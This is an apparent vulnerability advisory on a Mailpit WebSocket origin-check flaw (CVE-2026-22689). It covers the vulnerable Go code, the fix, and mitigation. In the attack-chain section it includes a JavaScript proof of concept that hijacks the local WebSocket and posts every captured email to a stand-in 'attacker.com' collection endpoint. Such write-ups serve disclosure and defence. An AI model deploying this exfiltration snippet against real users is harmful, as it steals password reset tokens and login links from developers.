Feb 20, 2026·6 min read·10 visits
Mailpit < 1.28.2 explicitly disabled WebSocket Origin checks. A malicious site can connect to your local Mailpit instance (ws://localhost:8025) and steal all your test emails.
A critical Cross-Site WebSocket Hijacking (CSWSH) vulnerability in Mailpit allows remote attackers to spy on local development environments. By failing to validate the WebSocket Origin header, Mailpit permits any malicious website visited by a developer to establish a persistent connection to the local Mailpit instance. This allows the attacker to siphon off email contents, password reset tokens, and other sensitive data generated during development testing in real-time.
Mailpit is the darling of the developer world right now. It is a spiritual successor to Mailhog—a tool you run locally to 'trap' emails sent by your application during development. Instead of spamming real users with 'test test 123' emails, your app sends them to localhost:1025, and Mailpit catches them, displaying them in a slick web UI on port 8025.
To make that UI feel snappy and reactive, Mailpit uses WebSockets. When a new email arrives, the server pushes it instantly to the browser. It’s convenient, fast, and modern. But here is the catch: tools designed for 'local development' often treat security as an optional DLC. The assumption is, "It's running on my machine, behind my NAT, so who cares?"
CVE-2026-22689 is the wake-up call for that mindset. It turns out that if you leave your front door open, it doesn't matter if your house is in a gated community; anyone who walks by can still walk in. In this case, the 'open door' was a WebSocket configuration that explicitly invited the entire internet to listen in on your private development traffic.
The vulnerability lies in how Mailpit handled the WebSocket handshake. The WebSocket protocol (RFC 6455) includes a security mechanism to prevent Cross-Site WebSocket Hijacking (CSWSH). When a browser initiates a WebSocket connection, it sends an Origin header indicating where the request is coming from (e.g., http://localhost:8025).
The server is supposed to check this header. If the origin is trusted (i.e., it matches the server's own domain), the connection is allowed. If it's http://sketchy-malware-site.com, the server should slam the door. This is standard procedure. It is the bouncer checking ID at the club.
Mailpit, however, fired the bouncer. Instead of validating the Origin, the application was hardcoded to accept everything. This isn't a bug in the code logic per se; it was a deliberate configuration choice—likely to avoid CORS headaches during development—that had catastrophic security implications. By returning true to every handshake request, Mailpit allowed any website running in your browser to bind to your local WebSocket server.
Let's look at the code. Mailpit is written in Go and uses the popular gorilla/websocket library. This library is secure by default—if you don't touch the CheckOrigin field, it enforces strict same-origin policies. But the developers went out of their way to override this safety net.
Here is the vulnerable code in server/websockets/client.go:
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
CheckOrigin: func(r *http.Request) bool { return true }, // <--- THE BUG
EnableCompression: true,
}See that CheckOrigin function? It takes the HTTP request r, ignores it completely, and returns true. It is the programming equivalent of a security guard waving everyone through without looking up from their phone.
The fix, applied in commit 6f1f4f34c98989fd873261018fb73830b30aec3f, was delightfully simple: they just deleted the bad code.
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
- CheckOrigin: func(r *http.Request) bool { return true }, // allow multi-domain
- EnableCompression: true, // experimental compression
+ EnableCompression: true,
}By removing the custom function, gorilla/websocket reverts to its default behavior, which checks that the Origin header matches the Host header. Sanity restored.
How does an attacker actually pull this off? They don't need to hack your firewall. They just need you to visit a website. It could be a malicious ad, a typo-squatted domain, or a compromised blog you read for coding tips.
Here is the attack chain:
ws://localhost:8025/api/events.Because the browser sees localhost as a distinct origin but does not block the WebSocket initiation (SOP is looser for WebSockets), the request goes out. Because Mailpit says "Yes" to everyone, the connection opens.
// Simple PoC for CVE-2026-22689
const socket = new WebSocket('ws://localhost:8025/api/events');
socket.onopen = function() {
console.log('[+] Connected to local Mailpit!');
};
socket.onmessage = function(event) {
const email = JSON.parse(event.data);
// Exfiltrate the email data to the attacker's server
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(email)
});
console.log('[!] Email stolen:', email.Subject);
};From that point on, every time your local app sends a password reset email or a magic link login, the attacker gets a copy instantly. They can click that link before you do.
Developers often joke that "what happens on localhost stays on localhost." This vulnerability proves that adage dead wrong. The impact here is high confidentiality loss.
Consider what data flows through Mailpit. It's not just "Lorem Ipsum" text. It is:
This is a classic "Cross-Site" attack. The attacker bridges the gap between the public internet and your private loopback interface. It turns your browser into a proxy that bypasses your firewall.
The immediate fix is to update Mailpit to version 1.28.2 or later. If you installed via Go, run:
go install github.com/axllent/mailpit@latest
If you are using Docker, pull the latest image. The patch removes the permissive CheckOrigin bypass, forcing the browser's Origin to match the server's Host.
> [!WARNING]
> Residual Risk: DNS Rebinding
> Even with the patch, local tools like Mailpit can be vulnerable to DNS Rebinding. An attacker can map a domain they control (e.g., attacker.com) to 127.0.0.1 with a short TTL. If they can trick your browser into accessing attacker.com:8025, the browser sends Host: attacker.com:8025 and Origin: attacker.com. Since they match, the default WebSocket check might pass. The only true fix is for local tools to explicitly validate that the Host header is strictly localhost or 127.0.0.1.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Mailpit axllent | < 1.28.2 | 1.28.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1385 |
| Attack Vector | Network (Cross-Site via Browser) |
| CVSS Score | 6.5 (Medium) |
| EPSS Score | 0.00006 |
| Exploit Status | Trivial (No public weaponized script, but easy to write) |
| Impact | Confidentiality (High) |
The application does not verify or incorrectly verifies the Origin header in a WebSocket handshake, allowing a malicious site to communicate with the WebSocket server.